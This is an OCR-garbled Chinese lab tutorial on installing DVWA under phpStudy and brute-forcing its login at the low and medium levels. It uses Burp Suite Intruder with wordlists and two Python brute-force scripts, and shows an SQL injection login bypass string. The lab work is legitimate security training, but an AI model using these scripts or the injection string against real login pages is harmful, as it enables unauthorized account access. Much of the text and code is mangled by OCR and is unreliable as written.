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DVWA J& —N3ET PHP 1 MysaL F & i IR R &

R 7. 2 -

R4 win7

N 25 : phpStudy(apache, php, mysql)

dvwa: 1.9

MR FE 7 firefox, new hacker, burpsuite, sqlmap, " EZE ]

=. phpStudy FEFZE

1. F#EMHubk: http://phpstudy.php.cn/download.html
it 5 IFIBAT exe HEAT %0 %%

E% phpStudy2018EEEEES X

AR (R RS P TR )

dr\phpStudy E]
2 L = |

3. 1217 phpStudy.exe & ZhFE T

£ phpStudy 2018 [ S|
BT phpStudy B
Apache: |
MySaL: W = it
1ERER ETE,  THRARE
Apache 2432 1F... 11:09:07 ) RIBERE
MySgli2iE21L... 11:09:07 © RS Es
=t~
[z
‘ MysQLE TSR ‘
| mivame |

4. A%


http://phpstudy.php.cn/download.html
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£ phpStudy 2018 PHP-5.4.45 |
ETIAE phpStudy {8

Apache: [ ]

s g | e || =8 |
ErER EiTEs kRS
Apache 2245}, .. 11:11:32 O RBBERE
MySQLEEEELE ... 11:11:32 i .

l ETEEBehitig... 11:11:32 -EHFHE%#EEt
apache 42 B2z2h... 11:11:36 BiERE
MySOLEEE BER... 11:11:35

| wsoEEE

| mfusnge |

5. VilAl
http://localhost/
http://localhost/l.php
http://localhost/phpinfo.php
6. fliH]
1) MysaL
a) ERIAH P 44 /%0 root/root
b) B
HoAth e Tig s =>MysaL TH => WE BB
2) VIR A
3) At A
FoAh e g s => BAFBCE => I W I E
4) bR E
HAEDEE R => il 44 % E
5) ZHWE
a) PHP ¥R E
HAWETE R =>PHP ¥ B KX E
b) Apache Z%i% &
HABIETEH. =>PHP §J& J i B => Apache 1R
c) MysaL S E
HAIEDEE R =>MysaL TR => SHHERE

/. DVWA FHIE

1. F#EiHhbk:  https://github.com/ethicalhack3r/DVWA
2. fRJE3 phpStudy ] web H3g
3. BPEERE



http://localhost/phpinfo.php
http://localhost/l.php
http://localhost/phpinfo.php
https://github.com/ethicalhack3r/DVWA
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5.

v Software (D:) » phpStudy » PHPTutorial » WWW R DVWA-1.9 » config

SR
== ERHE ESi] Fol

config.inc.php 2019/1/24 13:54  PHP 30f% 2 KB

stora\WWWADVWA-1.9\cenfig\config.inc.php - EditPlus

Search Document Project Tools Browser Emmet Window Help

BV o|ld BB x[DC|L%F

H([@ @ F| 12
b TH L= 2| Ewmif|Aase | B A|EHE B

S - e B S P -
£2php

M)

B
[

# If you are having problems connecting to the MySQL database and all of the variables below are corre

- 3
4 # try changing the 'db_server' variable from localhost to 127.8.8.1. Fixes a problem due to sockets.
5 # Thanks to @digininja for the fix.
7 % Database management system to use
8 $DBMS = 'MySQL';
9 #%DBMS = 'PGSQL'; // Currently disabled
18

11 # Database variables
12 0% WARNING: The database specified under db_database WILL BE ENTIRELY DELETED during setup.
12 % Please use a database dedicated to DVWA.

5 db_szerver
$_DVWA[ 'db_database' ]

£ DVWA[ 'db_user' ]
§_DVWA[ 'db_password' ]

28  # Only used with PostgreSQL/PGSQL database selection.
21 % _DVWA[ 'db_port '] = '5432';

i 1A [FIIF 55 create/reset database HE4T 38 FE 4T tG 4k
http://localhost/DVWA-1.9

Database Setup

Instructions | Click on the "Create / Reset Database' button below to create or resel your database.
If you get an error make sure you have the correct user credentials in: D:\php Study\PHP TutorialWWW\DVWA-
1.9/configlconfig.inc.php

About |

If the database already exists, it will be cleared and the data will be reset.
You can also use this to reset the administrator credentials ("admin // password”) at any stage.

Setup Check

Operating system: Windows
Backend database: MySQL
PHP version: 5.4.45

Web Server SERVER_NAME: localhost

PHP function display_errors: Enabled (Easy Mode!)
PHP function safe_maode: Disabled

PHP function allow_url_include: Enabled

PHP function allow_url_fopen: Enabled

PHP function magic_quotes_gpe: Disabled

PHP module php-gd: Installed

reCAPTCHA key: Missing

Writable folder D:\phpStudy\PHPTutorialWWWIADWWA-1_S/hackable/uploads!: Yes)
Writable file D:\phpStudy\PHP TuterialWWWADVWA-1.9/external/phpids/0.6/ib/IDSitmp/phpids_log.txt: Yes

Status in red. indicate there will be an issue when trying to complete some modules

Create / Reset Database

ket

ERINIK 5 205 : admin/password


http://localhost/DVWA-1.9
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DVWA 73 DU~ 22 44 ), [RI I I DU AT B, DA 22 44 i W -

® low: ZRYHIK, BHMEMZEEN, 5% Yd,

® medium: LT, SRR ME R, (FORRERYT R, A RG24 sk

® high: ZaIE, SR AR G 1 TR RE B L 2 A i R A, IR R HE
FLT CTF

® impossible: 4], BRINZ A

DVWA ¥ 22 4= 25 7| W B T cookie H

Home | DVWA Security »

Instructions |
Setup | Reset DB | Security Level

Secunty level i1s currently: impossible
Brute Force

You can set the security level to low, medium, high or impossible. The security level changes the vulnerability

Command Injection level of DVWA:

CSRF

1. Low - This security level is completely vulnerable and has no security measures at all. It's use is to be
as an example of how web application vulnerabilities manifest through bad coding practices and to serve
as a platform to teach or learn basic exploitation techniques

File Inclusion

File Upload 2. Medium - This setting is mainly to give an example to the user of bad security practices, where the
Insecure CAPTCHA exploitation techniques

— 3. High - This option is an extension to the medium difficulty, with a mixture of harder or alternative bad
SQL Injection practices to attempt to secure the code. The vulnerability may not allow the same extent of the

exploitation, similar in various Capture The Flags (CTFs) competitions.

Impossible - This level should be secure against all vulnerabilities. It is used to compare the vulnerable
source code to the secure source code.

Priority to DVWA w1.9, this level was known as high'

SQL Injection (Blind)
XSS (Reflected)

ol

|
|
|
|
I developer has tried but failed to secure an application. It also acts as a challenge to users to refine their
|
|
|
|

XSS (Stored)
| | Impossible ¥ || Submit
PHP Info
PHPIDS
About |
v0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications.
Logout | PHPIDS works by filtering any user supplied input against a blacklist of potentially malicious code. Itis used in

DVWA to serve as a live example of how Web Application Firewalls (WAFs) can help improve security and in
some cases how WAFs can be circumvented.

7N iR

1. R IR
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2) WA TR
firefox | Wi 4%, burpsuite
3) MRk
A. LOW Z 5|

a) WE DVWA %4450 Low
b) &3l burpsuite I A

Burp Suite Professional v2.0.11beta - Temporary Project - licensed to surferxyz - - ¥ \

Burp Project intruder Repeater Window Help

[Dasnnmm Target intruder | Repeater | Sequencer | Decoder | Comparer | Extender Pmpmnmmmhwnmmm}
intercept | HTTP higfry | webSockets histo

c) WH firefox W E#LEEA 127.0.0.1:8080

SEproxyikli-k \2 I
) ~ q A =
@ PruxyLs(eLm proxyrt .}ﬁﬁoptlonsﬁ]ﬁi S
5% Burn Proy uses isteners to rggéive eqing HTTP reauesys lrnr%q;%r wser. You wil need to configure your browser to USe one o the Istaners as is proxy server
YRt RUNNING A E
[ Ak | Runnn’ | inerface | inviskle | Redirect | erificate
@  [127.00.18080 Per-host
Edit
Remove >
Each installation of Burp generates its own CA cerlificate that Proxy listeners can use when negoliating SSL connections. You can import or export this cerificate for use in other tools or another instalation of Burp.
[ Import / export CA certificate. J [ Regenerate CA certificate J
(@) Intercept Client Requests
{B% Use these setings to conlrol which requests are stalid for viewing and edting in the Infercept tab,
(@ intercept requests based on the following rules:
[ Add | [Enables | operator | Mateh type Relationship Condtion
@ File extension Does not match (" gifS{"ipgSi pnos ces e siticos)
Edit o or Request Contains parameters.
g or HTTP method Does not match (gefipost)
(apemons) >
O An URL Is intarget scope
up
[ oown_|
() Automatically fx missing or superfiuous new lnes af end of request L
— @ Automaicallv update Content-Lencth header whan the reouest is edited b4

© Firefox  aboutpreferences
Braesus @ wFEtE B st FREE

1L¥] 7 Hirefo

REHAERMOERESE
MEFBHEREHY)

RN RER AR W)
@Eﬁﬁéﬁfﬁwﬁ(‘g/
o FBREREM)
HTTP £ (X) localhost
I TR ERE (S

SSL I
ETP (X1
SOCKS ZEHL
SOCKSv4 @ SOCKS ¥5
(N)

d) }F)E; burpsuite 27
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e)

f)

W Burp Suite Professional v2.0.11beta - Temporary Project - licensed to surferxyz et =

Burp Project htruder Repeater Window Help

[nasnnnard Target | Proxy | intruder | Repeater | Sequencer | Decoder | Comparer | Extender prmennminnsTusernmmns}

ntergept HlTPmslnrn WebSockets history | Options
T

Ldp
2. A intercep IR

Raw Headers Hex

T E
f

I ES BN B3]

= Vulnerabilitys Brute Force =

<« X @

3.madhintercept & Aintercept is onfAS 0
0 matches
. Sl 1A N N N
{8 H firefox I b 2% & ke 3 Fili 1 >
(E=8lal
A localhost/DVWA-1.9/vulnerabilities/brute/ AT IND & @ & @ =
0 eaens

Eyaerus @ sxre Dsmmn [ wm

logalhost/DVWA-1.9/sccurity.php

Home
Instructions
Setup / Reset DB

[ BrueForce |
Command Injection
CSRF

File Inclusion

File Upload

Insecure CAPTCHA

$QL Injection (Blind)

XSS (Reflected)

XSS (Stored)

DVWA Security
PHP Info
About

Logout

% FH burpsuite 347 %% 11 fiFt

ow) |

Vulnerability: Brute Force

Login

Usemame:
test
" ¥ LisEesiEs

(Cogn }—==-3 SShB RGN

m

More Information

.
.
.
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g)

h)

Burp Suite Professional v20.11beta - Temporary Project - licensed to surfenoz NN e )

Burp Project htruder Repeater Window Help

[Dmhnam Target | Praxy | intruder | Repeater | Sequencer | Decoder | Comparer | Extender Pmpnnpmns'[m:rnmms]
Jniercept | HTTP history IWehSm:kets history | Options

7 Reauestto httpfocalhost80 1127.0.0.1]

4= Sfactioni%fll , iEf¥send to intruder

| Foward | [ oop | [ ntercsptison | [ Adon

Raw | Params | Headers | Hex =
GET IDVIWA-1 Gvunerabilles biute 7 useinane=tastapasswor [ e (Lt tiee e L
Host: localhost end to Repeater ! r
User-Agert: Mozilal5 0 (Windows NT 6.1; WinB4; x64; rv:64 0) Send to Sequencer
Acoept: text/iml application/himi+xml appication/sml,q=0.8,'F  Send to Comparer
AcceptLanguage: h-CNZu=08,20-TW.a=07 20-HGa-05.81  Send to Decoder
AcceptEncoding gzip, deflate e >
Referer: hitp:ifacalnostDVWA-1 Shvulnerabilfies brute/
Connection: close Engagement tools L
Cookie: : PHPSESSID: 1583 |  Change request method
Upgrade-Insecure-Requests: 1 Change body encoding
Copy URL
Copy as curl command
Copy to fie
Pastz from file
Save tem
Don't intercept requests [
Do intercept >
Convert selection >
URL-encode as you type
cut ctriaX
Copy ctrisc
paste ctrisv
Message editor documentation
Proxy interception documentation
b
L

@ EJ EJ Ej Type & search term ) 0 matches
o B B 7 AR o B

Burp Suite Profe: emporary [T
Burp Project intruder Repeater Window Help

[Dasnnnaru Target | Proxy wﬂm Sequencer | Decoder | Comparer | Extender Prnﬂmnmmnswusernmms]

-ﬂ
2. R R

Attack type: | Cluster bgmb =

P 3. sfipositionsiII-Ei2 Eplayload W NI ( santanac |

e payloads will be insarted into the basé request The attack type determines thé way in which payloads are assigned to payload postions - see help for full detais.

GET DVWA- gin=Login HTTR/ 1 Add§
Host localhost
User-Agert: Mozila/s 0 fAindows NT 6 1; Win4; x64; 1y

Accept: textMtml applicaionixhtmi+xmi application bl Clear §
o evcay l PR Tan s g W e lear $Hladd SRR EREUE ~ awos |

Accept-Enceding: gzip,
Reerer. p:ocaost Tedmiemeds; cluster bomb

oo e S BRSNSy =
Cookie: ' PHPSESSID: 1583
Upgrade-Insecure-Reguests: 1

°
5‘3&‘
g
8
E
El
@
2
T

L
v

@ < - = | | Type rch term 0 matches Clear

2 payload postions Length: 552

HE2& F P 44 A b =~ il
|| user.txt 2019/2/12 12:07 ey = 1KB
|| password.txt 2019/2/12 12:08  scASoE 1KB

-

| password.txt - iD=4

B #HE B0 ZEEN EEH)
root
r00t

" R password
| xt - 0=
& user . passwird

R RHE) EI0) ZF |user
123456
e 12345678
T
123104
que Li#

administrator
user
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i)

)

% & playloads

2 Burp Suite Profes:
Burp Project intruder Repeater Window Help

nal v2.0.11beta - Temporary Project - licensed to surferxyz

[Dasnnnam Target | Proxy | intruder | Repeater | Sequencer | Decoder | Comparer | Extender Prnﬁmnmmnsxusarnmmsw

mr

Target | Postions | Payloads | Options.

@ Payload Sets

“You can define one or more payload sets. The number of payload Sets depends on the attack type defined in the Positions tab. Various payload types are avaiable for each payload set, and each payload type can be customized in different ways.

Payload set: |1 v | o
Payload type: | Runtime file v wﬂl 8

LYRTEHATEL (username )

(@ Payload Options [Runtime filc] 2 i¥fEpayload typeAruntime file ( 32(4)

This. payload typ lets you configurs a fils from which to read payload strings at runtime.

Select fiie Holuser.tt

(?) Payload Processing 3Ll s

Vou can define rules to perform various processing tasks on each payload before itis used

Add

Remove »

]

Lk

g
H

@ Payload Encoding

This sefting can be used to URL-encode selected characters within the final payload, for safe transmission within HTTP requests.

K
Start attack

Burp Project htruder Repeater Window Help

[Dmhnam Target | Proxy [ intruder | Repeater | Sequencer | Decoder | Comparer | Extender Pmpnnpmns'[m:rnmms]

[ o

Target | Posiions | Payioads | Options

(@ Payload sets

“You can define one or more payload sets. The number of payload sets depends on the aitack type defined in the Positions tab. Various payload types are avalable for each payload set, and each payload type can be customized in different ways.

T D

5% payload typeAruntime file

(@) Payload Options [Runtime file]

This payload type lets you configure a file from which to read payload strings at runtime.

Select file Hiipassword.bd

Payload Processing” |
® 6

You can define rules to nermnﬁlvm DroCEsSing tasks on eL h payload before it is used.

)
)

Add
Edi

g

it
move »
up

oown_ |

(@ Payload Encoding

This setting can be used to URL-encode selected characters within the final payload, for safe transmission within HTTP requests.

L;
Start attack

TRy

10
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k)

W Burp Suite Professional v2.0.11beta - Temporary Project - licensed to surfenqyz

Burp Project htruder Repeater Window Help

[Dmhnam Target | Proxy [ intruder | Repeater | Sequencer | Decoder | Comparer | Extender Pmpnnmms‘[uﬂrnmms]
mr

Target | Posiions | Payioads | Options

(@ Payload sets

“You can define one or more payload sets. The number of payload sets depends on the aitack type defined in the Positions tab. Various payload types are avaiable for each payload set, and each payload type can be customized i different way;

Start attack

Paybadset: |2 |¥]  Payosd count: 4
Payioad type: [ Rartime fie 7 Reawstoourt & rathstart attacki&iHFIA
I
(@) Payload Options [Runtime file]

This payload type lets you configure a file from which to read payload strings at runtime.

Select file Hiipassword.bd

(@ Payload Processing

“You can define rules to perform various processing tasks on each payload before it is used.

i

A

g
H

(@ Payload Encoding

This setting can be used to URL-encode selected characters within the final payload, for safe transmission within HTTP requests. v

Jriirés

I Intruder attack 16 s coimiimm S S Sm—— —

Attack Save Columns

Resulis | Target | Postions | Payloads | Options

| Fiter: Showing al ftems. l.J\EHH@ HW§&§¥H umgiﬁzﬁ(fm ‘@

Vol
Request Payload1 Payload2 Status | Error | Timeout | Length ¥ | Comment |
10 ‘admin password 200 O O [=25 i
0 200 8] o e
1 root root 200 a O s262
2 admin root 200 =] 0 s2:2
3 administrator root 200 o o s:2
4 user root 200 8] o s
5 root a0t 200 8] SR
3 admin root 200 a O s262
7 administrator oot 200 =] 0 s2:2
8 user 100t 200 o o s:2
s root password 200 8] o s
n " on o O como L]
i
<form action="¢" method="GET"> r
Username:<br />
<input type="text’ name="Usemame"s<br f=
Password:<br />
<input type="password’ AUTOCOMPLETE="of" name="pass Win'><br />
<br b
<input type="submit" value="Login" name="Login"> N .
Sy =
/ 2. BRI R RERE SR
<Hform>
<pWelcome to the password protected area s A e = )
<dive
<h2>More Information=/2>
<ui>
<liz<a href="http: AMicerefer com/Zhttps: fwww owasp orgindex php/Testing_for_Brute_Force_(OWASP-AT-004)" targ d ing_for_Brute_Force_(OWASP-AT-004)</a><> I
@ Wk 0 metches
Finished | ]
b 73 Hr
<Iphp

ifl 1sset( $GET[ 'Legin' 1 ) ) I
Jf Get username
duser = S GET[ “username’ ]

// Get  password
fpass = §GET[ ’password” 1,
$pass = md5{ fpass )

J/ Check the datahase
3

Squery ELECT * FROM ‘users’ WHERE user “fuser’ MND passwerd = fpass’:”
Sresilt = nysqlguenr( Squery ) or diel epre’ . mysalerror() . <prer )
1f( fresult &% mysql_rm_rows( fresult ) = 1 ) |

A/ Get users details
Pavater = myeqlresult{ Presult, 0, “avatar” )

/7 Login  successful
echo “<piWelcome to the password protected area {$user}</p>”
echo “<ing sro=\” {favatar]t” /7

1
else |
// Login failed
echo “<prexchr SUsername and/or passwerd incorrest.</pred”:
1
nysql_close () ;
I
2

LR
IR RO M AREE PSR saL TS EATIAT, AR ORI, A EEE

11
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PR it DA S A P51 saL 33 A\ (admin’EX admin’ or ‘1'="1)
m) H%W Python JHIARZ: )

05

requests
BASE_DIR = os.path.dirname(os.path.abspath(__ file )}

lef read file{path):
open{path, "r') fhandler:
fhandler

lef brute_force(: ; ; 3 H
url ‘http://{@}:{1] ) fbrute/" .format(*addr)
params = {
‘username’ : username,
'p ord” : password,
‘Login’ : 'Login’

response = requests.get(url, params, he s=headers})
response. ok A
response. text.find( 'Welcome to the pas rd protected area’)
print{'+", username, password)

def main{addr, he :
username ad_file{os.path.join(BASE_DIR, ‘user.txt')):
password read_file(os.path.join(BASE_DIR, 'pa rd.txt')):
brute force(addr, username.strip(), password.strip(), headers)

__name__ ' main__ ":
server = {'localhost', 88, )
headers = {
'Cookie" : 'security=low; PHPSESSID=kcguk4lfhk88iugfértggris
i
main(server, headers)

i

® MR copy Bl )5 I cookie 15 B

® {3 ] python3 izfT A

Tt

® i A AN Y S

® fiiH requests KIXIEKE] dvwa, IR#IEIEKELRZEG ST Welcome to password
protected area -1+ £ H| T2 15 AH AR L)

B. MEDIUM %5

a) WHE DVWA %254 Medium
b) JE3) burpsuite I JEACHE

12
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Burp Suite Professional v2.0.11beta - Temporary Project - licensed to surfenyz - e ¥ 1
Burp Project Intruder Repeater Window Help

[ Dasnboars | Taret ntruser | Repeater | Sequsncer | Decoder | Gomparer | Extonver | Projectoptions | user options |
intercept | HTTP higfry | WebSockets history
= D o= _ 0

Q@) Proxy LéeLm\iprox)L%]m ~ _(Iﬁﬁopﬂonsﬂ]ﬁ{
::"8;} Burp Proxy uses \Btenerst?éwe incgming HTTP regues}s fro

gq% wser. You will need o Configure your browser 1o use 0ne of the Isteners as s proxy server
SR RUNNING S e
Add ] Runr\n‘ | iterface | Invisible | Redirect | certficats
@ [127.00.1:8080 Per-host
Edit

Remove >

Each installation of Burp generates fts own CA certificate that Proxy fisteners can use when negotiating SSL connections. You can import or export this certificate for use in other tools or another instalation of Burp.

[ Import / export CA certificate. ] [ Regenerate CA certificate ]

(?) Intercept Client Requests
{@} Use these seftings to control which requests are stalled for viewing and editing in the Intercept tab.

(@ intercept requests based on the following rules:

Add ] Ensbled | Operator | Match type Relationship Condtion
@ File extension Does not match (*gifSi"jpgSi*pngSH casSijsSiticas)
Edit o or Request Contains parameters.
O o HTTP method Does not match (getpost)
(Lromove J >
SR URL Is in target scope
ue
Down_|

[ Automatically fix missing or superfuous new lines at end of request

— 1 Automaticall undate Content-Lenath header when the reouest is edited

c) WH firefox W2 CEEA 127.0.0.1:8080

B

<_ - C @ © Firefox  aboutpreferences

nohw® 5@ =
Bxuermss @ wrte B B e

QsaEss

REHAERMERSE
EFBHIEREH(Y)
EFE RS RIS EW)

@Eﬁﬁéﬁf&&iﬁM

o FmREREM

HTTP £ (X) localhost

AFE MY =R LRSS

SSL I
ETP (38
SOCKS ZEHL

SOCKSv4 ® SOCKS v5
TENEE(N)

d) %M burpsuite #4185

13
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1 Burp Suite Professional v2.0.11beta - Temporary Project - licensed ta surfengz e = . a T i)
Burp Project Intruder Repeater Window Help
— g | Forecte | Seqrcer | Do | Corporer | Extonr | Progetoptions | Uneropbons |
Intercept | HTTP history | WebSockets history | Optior
LR FroxyiZelii—=
Forvira Drop Interceptjs off Action - - @
Raw rams  Headers  Hex
. . . .
3. milnterceptiZii Alntercept is of iR E
2.2 Interceptif i<
L
v
@ (=)0 0 matches
. sonl 1A S o s 7 0=k
e) ¥ firefox N Vi &% & o B fii i >
= Vulnerability: Brute Force : [ X (o
& X @ ® A localhost/DVWA-1.9/vulnerabilities/brute/ AT IND & @ & @ =
Eyaerus @ sxre Dsmmn [ wm [ akEBE

\a)

i Vulnerability: Brute Force

Instructions Login
Setup / Reset DB

Usemame:

BucFoce | e - -
— ¥ LisEesiEs

o | _
S (Cogn ) —=p- o BhHi%H

FilaUpload | pore Information
Insecure CAPTCHA
SQL Injection N
SQL Injection (Blind) 0
XSS (Reflected)
XSS (Stored)

DVWA Security
PHP Info
About

Logout

logalhost/DVWA-1.9/sccurity.php

f)  f#FH burpsuite AT Z SJHR
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g)

h)

! Burp Suite Professional v2.0.11beta - Temporary Project - licensed to surfenqz |

— - — .

Burp Project htruder Repeater Window Help

Dashboard Repeater | Sequ

encer | Decoder | Comparer | Extender PmpnnmmsTus:rnmms}

Intercept | HTTP history | WebSoBhgis history | Options

| Fiter: HidingCSS, image and general binary c}‘er,?

[©)

\ﬂ:gD METE
# Mm \ Method \ URL \ Params. Edted 4 | Status | Length | MIME type \ Extension | Title Comment \ ssL \ P \ Cookies
195/ ntpiocahosy GET 1 7 200 sam HTML Vulnerabity: Brute Forc.. 127.00.1
1.8y ogin=Login
.
>4
SHERITPN smiimsk , BRI
historyiEIi = ' Soan
Send 1o Repeater orisR |
v o
Send o Sequencer 4.3%%Send to Intruderif {70
Send to Comparer (request)
Send to Comparer (response)
Show response in browser
s Request in browser > J TS
Engagement tools. >
Request | Response Show new history window
Raw | Params | Headers | Hex e
Highiight >
GET DVWA-1 Dete 1 L
Host: localnost elete fem r
User-Agent: Mozilla5.0 (Windows NT 6.1; WinG4; x54; rv-64 0)| Clear history
Accept: textihtml applicationixhtmivxml applicationsan,g=0.9,#;|  Copy URL
Accept-Language: 21-CNZh 4=0.8,20-TWq=0.7 2h-HIG4=0.5 §  Copy as curl command
Accept-Encoding: gzip, deflate: Copylinks
Referer A Save tom
Connection: close
Cooke: | PHPSESSID: 14 Proxy history
Upgrade-Insecure-Requests: 1
L
v
0 matches

@[] () (&) [meesseercniom

o B B 7 AR o B

1 Burp Suite Profe
Burp Project Intruder Repeater Window Help

[Dmnnnm Target | Proxy

Repeater | Sequencer | Decoder | Comparer | Extender PmpnnmmsTus:rnmms}

lcalntead

METE L

(?) Payload Positions ———
- Y - s o =
2 3. PositionsiEIT-Ei8 B I (U= .
Z.ﬁwﬁlﬁsﬁﬂem pafivads will be nserted into the Base requ = affack byse gaiermines the way n wich payloads are assigned to payload postions - see help for full detsils.
A VRIS A Cluster bomb
Attacktype: | Cluster bomb ] v]
GET DVWA-1 ogin=Login HTTPA 1 ) adds
Host: localhost r
User-Agert: Hozilass 0 (Aindows NT 6.1; WinGe; x5TNy:64.0) Geglor201 00101 Firsfoxsd 0 =
|Accent: textitm application/xitmixml applicationrmi =, aA.5
[Acoept-Language: 2h-CN zhi=0 8,2h-TW,g=0.7,2h-Hia=0 5, enfUS;6=0 3 eni=0 2  Ams
(Accept-Encoding gzip, deflate . o -
Referer http:iflacaihostDVWA-1 Shunerabiltissbrute/ 5. @idclear $Hladd $IRBBEHNE —
Comection: close [ Reresh |
Cookic ; PHPSESSD> 1583
Upgrade-insecure-Requests: 1
L
i

@ < + = | | Type @ search term 0 matches. Clear
2 payload postions Lengtn: 555

e P 44 A 5 gt

|| user.bd

| password.txt

1KB
1KE

201972712 12:07
2019/2/12 12:08

-

| password.txt - iD=4
B RHE BEQ)

EEN =8H)

raoot
r00t
3 _3 password
) useroxt - ik passwird
R RHE) EI0) ZF |user

1123456

raoot

admin }2345@78
administrator '@#?%
- 12:1a4

aqwe LR
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i)

)

% & playloads

i Burp Suite Profe: ‘emporary Proj to su o

Burp Project iniruder Repeater Window Help
[Dasnnnaru Target | Proxy | intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options Tusar nmmnsl

1% |8 x [z

(@ Payload Sets v u
|52 ﬁJ:
“You can define one or mere payload sets. The. &mﬁéﬁ!@@g&ém%ﬁw type defined in the Positions tab. Various payload types are available for each payload set, and each payload type can be customized in different ways.

L;
‘Start attack

Payload set. [ 1 | oad count: 2 (approx)

Payload type: | Runtime fiie |= {Mnum}%@l&iﬁ1@l (username )

(@ Payload Options [Runtime filc] 3. ¥Epayload typeaRuntime file(SZ{4)

This payload type lets you configure a file from which to read payload strings at runtime.

Select fie Holuser.tdt

(?) Payload Proces 4. iii%ﬁﬁ)ﬂ%iﬂﬂiﬁ

You can define rules to perform various processing tasks on each payload before it is used.

ng

Add | |Enabled | Rule

Edit
Remove
up

Down

(@ Payload Encoding

This setting can be used to URL-encode selected characters within the final payload, for safe transmission within HTTP requests.

| Burp Sui

Burp Project htruder Repeater Window Help

[nasnnnard Target | Proxy | intruder | Repeater | Sequencer | Decoder | Comparer | Extender PmpljnplinnsTUsernplnns}
1 e [z ] .

Target | Postions | Payloads | Options

I
(@) Payload Sets Start attack L\

“You can define one or more payload sets. The number of payload sefs depends on the attack type defined in the Fositions tab. Various payload types are available for each payload set, and each payload type can be customized in different ways.

oadset (2| oo sgomme e ( password )

Fayload type: | Runtime file | Request count: & (approx)

6. iZEpayload typeiRuntime file(SZ5)

(@) Payload Options [Rur

‘This payload type lets you configure a file from which o read payload strings at runtime.

me file]

Hipassword txt

(@ Payload Processing ‘iz .
7 RS A
“You can define rules to perform various processing tasks on each payload before it is used.

Add | |Enabled | Rue

Edit
Up

F

temove. >

e |

Down

(?) Payload Encoding

This sefting can be used to URL-encode selected characters within the final payload, for safe transmission within HTTP requests.

BB AE RULHCAE B LA 2 75 B bl 2h

16
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Burp Project iniruder Repeater Window Help

[Dasnnnaru Target | Proxy | intruder | Repeater | Sequencer | Decoder | Comparer | Extender Prnﬁmnmmnsxusarnmmsl
1% |8 x [z

Target | Postions | Payloads | Options.

(@ Wake unmodificd baseline requ 2
(0 Use deniak-of-service mode (no resulls) r
A . 5
O Sr s 1 #6Z0ptionsi&Ii &

(@) Grep - Match
() These settings can be used to flag resulttems containing specified expressions.

(@ Flag result fems with responses matching these expressions:

Paste | | Welcome to the password protected area
Load
Remove >
Clear ‘\
[ Aw | We\cnm; the password protected area
Match type: @ Simp)
© Regex
() case sensitive match N .
2 8 BILRERE

(@ Exclude HTTP headers
(@) Grep -Extract
(©) These settings can be used to extract useful information from responses into the attack resuls table.

(O Extract the following tems from responses: F]

k) JFhaECT

I Burp Suite Professio
Burp Project intruder Repeater Window Help

[Dasnnnaru Target | Proxy | intruder | Repeater | Sequencer | Decoder | Comparer | Extender Prnﬂmnmmnswusernmms]
1% |6 % [2n

Target | Postions | Payloads | Options.

(@) Request Headers —
() These settinos control whether Intruder updates the confioured requast headers during attacks
(@ Update Content-Length header
(@ set Connection: close
(@) Request Engine
() These settings control the engine used for making HTTP reguests when performing attacks. V,
— =3 2
et : ifistart attackiZHHFHAICE
Nurmber of retries on network faiure: 3
Pause before refry (miliseconds): 2000
Throtte (millseconds): @ Fixed 0
© Variable: start 0 step | 30000
Start time: @ Immediately
Qn |10 minutes
O Paused
(@) Attack Results
() These settings control what information is captured in attack resuls,
@ store requests L
@ Store responses v

) s

17
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0 e ack 6. |

Attack Save Columns

Resulis | Target | Postions | Payloads | Options

| Filter: Showing allftems

Request | Payload1 | Payload2 Status. | Error | Timeout | Lengtn | welco... | Comment
o 200 a O s a E
1 root root 200 8] (S 8]
2 admin root 200 a o s =]
3 administrator root 200 =] o s o
4 user root 200 o [SI--1] o
5 root a0t 200 8] o s a
3 admin a0t 200 8] (S 8]
7 administrator root 200 a o s =]
8 user oot 200 =] o s o
10 admin password 200 O O @
& =) =) =)
12 user password 200 a o s =]
13 root password 200 =] o s o
14 admin passwOrd 200 o o 821 a v
Request | Respanse:
Raw | Headers | Hex | HTUL | Render
HTTPA 1 200 OK .
Date: Tug, 12 Feb 2019 06:04:46 GIT
Server: Apachef2 423 (Win32) OpenSSLH 0.2 PHPIS 4.45
-Powered-By: PHPIS 4.45
Expires: Tue, 23 Jun 2009 12:00:00 GUT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
CortentLength: 5015
Connection; close
Cortent Type: textitmichar set-utf-8
. S [ L]
@ < - = | m 0 matches.
Finished | ]
A3 Hr
<ophp

1f( isset( §GET[ ’Login’
Sanitise usemame irput
fuser = §GET[ ’username’ ]

$user = mysql_real escape_stringl fuser )

11l

// Saitise password input

Spass = $GET[ ’password ]
fpass = mysql_real escape_string( dpass ) yjmp%fumgiﬁifggy
fpass = mdi( $pass - =

/¢ Check the database

$query = "SELECT * FROM ‘users WHERE user = “fuser’ A p.

$result = nysal_queryl §muery ) or diel <prey’ . mpsal_error()

if( fresult &E mysqlom rows( fresult )

1)

/7 Get users details

favatar =

mysql_result( f$result, 0, “avatar” )

/¢ Login  successful
echo “<pWelcome to the password protected area {fuser}</p>"

echa “dimg
i

else |

/7 Login

sleep( 2

)

see=\" {favatar] " />

i 2 J PR I KR

echo “¢preXbr [olUsernane md/or password incorrect. {/pre3”;

H

nysql_close )

AR

BEXTH P A A R AT i SCRESE, T sQL BN, RN e B fld AR AR A e, ARHIR 2

fprey

ssword = fpass’

)

MR IAIGE R, AE— EREE b AR Bl v R SE
H % Python JHIAS 5 /15

18



DVWA J i & 23 4

o5

concurrent. futures.thread ThreadPoolExecutor
itertools
requests

WORKERS

BASE_DIR - os.path.dirname(os.path.abspath{__file_ })

thandler:

addr, Ufername, pa;;wnrd headers = data
usermame, password - usermame.strip(}, password.strip(}

"hitp:s//f{e} {1} /DVIA-: vulnerabilities/brute/" . format(*addr)
params

! Username,
i password,
: 'Login'

response requests.get{url, params, kb s=headers)
response.ok Y
response.text.find{ 'Welcome to the password protected area')
True, username, password
False, username, password

F maing 3
usernames ilef{os.path.join{BASE_DIR,
passwords = read_file(os.path.join{BASE_DIR, ord.txt"))
datas - itertools. pl.L.Ltt[addr], uUsernames, passwnrdr, [headers]}

executor = ThreadPoolExecutor( r5=WORKERS)
suUCCess, username, password Etecutnr mzap(brute_force, datas):
SUCCESS:
print{"+", username, password}

___nmame__ __main
server = {'localhos
headers = {

'Cookie" : "security=medium; PHPSESSID=kcpuk4lfhkB8giugfertggris
s
Jd
main{server, headers})

i

® MBS LS T copy Bt I A HY cookie 18 &

® {{if] python3 i&f7HI4

LR

